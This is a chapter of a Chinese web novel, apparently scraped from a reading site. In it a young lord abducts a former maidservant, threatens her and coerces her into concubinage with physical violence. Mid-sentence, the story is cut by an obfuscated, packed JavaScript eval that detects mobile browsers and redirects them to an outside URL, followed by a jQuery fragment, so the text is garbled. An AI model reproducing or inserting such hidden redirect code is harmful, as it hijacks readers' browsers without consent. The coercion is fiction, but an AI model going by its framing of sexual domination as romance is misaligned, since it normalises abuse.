默认冷灰
24号文字
方正启体

11. 马上威慑

作者:继尔弥时本书字数:K更新时间:
    马上颠簸,崔嵬眼睫相接、目视前路,始终不发一言。


    马蹄带起黄土,避无可避的徽瑜尝试紧闭双眼、屏住呼吸,却依旧被席面而来的尘土弄的灰头土脸。


    更为糟糕的是,在她咳嗽颤抖时,始终能感受到男人插在腰间的那把剑鞘,此时正抵住自己的脖颈。


    徽瑜本就摇摇欲坠,于是乎她干脆也不再挣扎了,松懈了力气趴着喘息,脑袋坠地充血,随着晃荡一阵眩晕,大有认命的意思。


    自崔嵬将承恩和承銮丢下伊始,没有留下任何嘱咐,一路缓慢驱马,载着徽瑜原路返回,沿着山路通向凫山营。


    徽瑜被反绑住手横趴在马背上,坠在脸侧的发尾几次三番与地面相接,一直保持着这个姿势叫她实在脱力。


    坐下的这匹马着实桀骜,或是徽瑜横梗在她背上叫她很是不适,她的四只蹄脚在接连忍受而不能后,直接烦躁地摇晃起来。


    徽瑜几近被甩下去,这才唯唯诺诺地吞咽着口水,说道:“世子,世子!您大人有大量,行行好吧!”


    “我撑不住了,实在是就要掉下去了……饶了我吧……”


    崔嵬只顾着勒缰绳,放松对马儿的控制,等他稍稍安定后这才略略看向徽瑜。


    徽瑜竭力扬起的小脸上带着十足的讨好,只见她侧着脸披散的发丝夹着汗水,皱巴巴的脸上写满了难受,那副滑稽的样子像极了伎乐陶偶。崔嵬唇角不免一笑,却尽是不善意味。


    他从腰间的革带上拔出一把尖细的匕首,灵巧地解开束缚她的绳结。


    又弓起左腿,借力给她,叫她稳稳抱住自己的腰,扯着革带,面向自己瘫软在怀。


    徽瑜着实不敢同他再生不快,方才亲眼所见已是血腥至极,她只得做一株菟丝花,攀附在他身前保全自己。


    透过衣料,他略高于她的体温和平稳的心跳,全都叫她更加难堪。


    她不敢再同他使心计,和缓了嗓音做小伏低地问道:“世子,不知您派人来帮我,是徽瑜又做了什么错事吗?”


    见他不做任何回答,徽瑜咬咬牙,硬着头皮迎接他可怖的目光,道:“即便如此……”


    “知会主君和太太一声将奴婢打出去即可……何须如此……如此偷偷摸摸呢……”


    “你能说话了?”


    本就是有心磋磨、磋磨这个反骨婢,瞧见她假作镇定,试图再次取巧的崔嵬终于开始纵马飞奔起来。风声在耳边呼啸,可她的话却并没随着风声一块儿流失。


    徽瑜这才发觉自己做了糊涂事,可是大错已经铸成,已经没有回头路了。只好硬着头皮,点了头,说:“我……中间是出了一些意外!但是,我可以一辈子不再说话。奴婢什么都不知道。”


    崔嵬低下眼睛来看她,纤长细密的睫毛下,藏着浓重的不悦,他道:“哦?可你这没有几日,就已经在人前暴露了。如此笨拙之人,又何谈言而有信?只怕是无有诚意,连带着记恨于心,你还有什么资格取信于人?”


    徽瑜沉默,明知道他就是同她作弄猫鼠游戏,却也只能打碎牙齿往肚里咽。她更明白,即使自己如今褪去奴籍,今日他就算是打死她,她也绝无他法。


    时至今日她也只能咬着下嘴唇,不住懊悔自己的得意忘形。


    小声嘟囔道,“蝼蚁尚且偷生,我就愿意死吗?我有什么错……”


    一番威戒下,见她已大有退缩求饶之意,崔嵬便也收起玩味,正色说:


    “你自然不必死。”


    徽瑜呼吸都漏了一瞬,垂落的睫毛翕动,怔怔地望着眼前针脚细密、材质精良的衣料。


    崔嵬偶尔扫视她,见她此刻虽灰头土脸,弄的脸上蒙了一层浅浅的灰土却依旧难挡眉目的出挑。


    似乎他的心也随之有了松动,徽瑜默不作声知道他露骨的眼神,只是不见棺材不落泪,她总要知晓代价是什么。


    “给你一次机会,就还能再给你第二回。如今,有一条生路摆在你面前。走与不走,全仰仗你自己来。这条生路自然是没有反悔的道理。”


    徽瑜依旧沉默,咬着下嘴唇红了眼圈。见她如此,崔嵬不语,可眼神始终锁定在她的脸上,将她的神情尽数收归眼底。


    纵然是个傻的,时至如今也该明白他的用意了……崔嵬的暗示已经太过明显,他鲜少屈尊降贵地做这种善事,可对于这样愚蠢、投机的女人,如若再做谜语人、端着身份矜贵着,只会叫这个蠢货误以为自己全身而退了。


    崔嵬空出左手来,牢牢抱住她的腰肢。


    他看着凫山营已经出现在眼前,故而威逼利诱地道:“蝼蚁尚且偷生,你这句话说的很对啊。你又何必犯死性、执拗下去呢?”


    徽瑜抬头,一双迷茫的眼睛照进他的心房里,她觉得疲惫极了,又觉好没意思,说道:“太太放了我的奴籍,我如今与常人无异。”


    崔嵬看着她的笑意越发浓重,喉中讥讽地溢出笑声来,面对如此稚子,他都有些替她感到可怜。


    “这是不假,可若我真的要摆布你这一小小民女,你以为自己能到哪里去告我的状?”


    “总不过求告无门,天底下又添上一桩冤孽罢了。”


    这些天被踢来踢去,她深觉自己的卑微变成了别人手里的玩意儿,即便不愿意,也总逃不过如此潦草的命运。


    她咬紧牙关,最后一次发问说:“徽瑜哪一点叫您起了亵玩之意?”


    崔嵬面目平静,并不以为耻,反而腾出一只手,半包围地侧托着她的脸蛋,看向她时,眼中有着志在必得。


    “聪明人到底不如笨蛋作弄来有趣,人笨成这样本就罕见,你又是女子,再加之生的盘条靓顺,拿来做个小通房消磨闲暇,再合适不过了。”


    这近乎赤裸的话,借由他之口,无比戏谑地言说,即便顿遭羞辱致使徽瑜愣住,可她又见怪不怪地很快恢复正常。


    “世子也曾追随尊长游历,怎会不知庶民之怒,血溅五步的道理?”


    “您要是将人逼得要生不得,要死不能,哪怕是枕席之间的玩物,遭反噬的又岂止是……”


    她话还没说完便被男人狠狠扼住下颚,他凶狠的眼神注视下,徽瑜也不知是从何而来的勇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309951|198787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气,竟叫她梗着脖颈吐出自己心里的话。


    “高澄强占李昌仪时,又怎知自己血脉绝断?”


    崔嵬静静看了她许久,才漫不经心地用拇指碾过她的皮肉,说道:“你既然知道李昌仪,又怎能不知道李祖娥?你要成为李祖娥第二,我却不是高湛。”


    徽瑜颓废地想要挣脱他的手掌,换来的是他越发用力。念及自己兄长尚在他麾下,她只能面如土色地撇头说:“世子将会如何待我们兄妹?”


    感受到她撑着自己胸膛的手逐渐松懈,反抗的力量最终趋近于无。


    他这才略微露出好颜色,感受着温香软玉入怀的同时,捏住她耳间不顺眼的珍珠耳铛,直接摘取掉,随手不知扔到了哪里。


    “我的珠子!还我珠子!”


    耳垂上一轻,那珠子就划过一道弧度消失的无影无踪了。她身上的一针一线,无不是辛勤劳作得来的,怎会不珍惜那对珍珠耳铛。


    见徽瑜如此急躁,崔嵬捏住她的下巴警告道:“本世子不管你从前同谁私相授受、情投意合,只管你自此往后守身如玉、奉我为主。收起你那副欠教训的表情,我告诉你,即便是虚情假意也要装的好些。”


    言罢,也不顾徽瑜有何回答,直接将她的脸贴在自己心口,那把匕首此时就硌在二人之间,如同警告徽瑜。


    凫山营,是崔嵬手底下的固若金汤的大营,崔嵬将她安置在这里,同自己共起居,意在敲打她,更为了促进二人磨合。


    军帐内,立起的屏风默默遮掩着主人的举止,任谁都不会知晓,这军帐之主此时正坐在矮床边看着手上的军报,至于徽瑜则倚在一边儿,被他强压着头颅、脖颈,靠着他的膝头席地而坐。


    柔软洁净的青丝穿越手指缝,好似轻纱般摩擦间引起他的手心瘙痒。


    洋洋自得的人似乎已沉迷在温柔乡里,忙里偷闲地抽出空来拍拍她的脸,安抚说:“听话些,左右亏待不了你。比起做个任人差使的奴婢,倒不如跟着一个主子锦衣玉食。你兄长也不必再出生入死,用命来换功名富贵。”


    徽瑜心神不定,此时早已魂飞意远,在意着兄长和晋瑷的生死存亡。


    分隔的这么久,也不知道他们好不好……


    正在她想得出神时,忽觉被他收紧发丝,吃通地泛起泪水来,泪眼婆娑地讨饶说,“啊!好痛!”


    崔嵬看了她很久,柔软的唇因为出神思考,被贝齿咬住,这个蠢货生了副好皮囊,却没有一个活泛的好脑子,以至于当面开小差被揪住小辫儿。


    “想什么呢?可是三心二意,惦念着哪个不知名的情哥哥了不成?”


    莫名地冒出来的话似乎开启了崔嵬的猜疑,紧跟着他就又质问道:“我问你,郑氏的公子见过你没有。”


    见他越发犯狠,徽瑜痛得受不了直接跪起身来盖住他扯着头发的手,辩解道:“并未!奴婢不曾见过外男。”


    得了肯定的回答,加之自己的猜想,崔嵬将信将疑地松了手,趁着这一口气的松懈,徽瑜连滚带爬地躲到高脚桌下,恐惧地防备着这个变脸之快的男人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)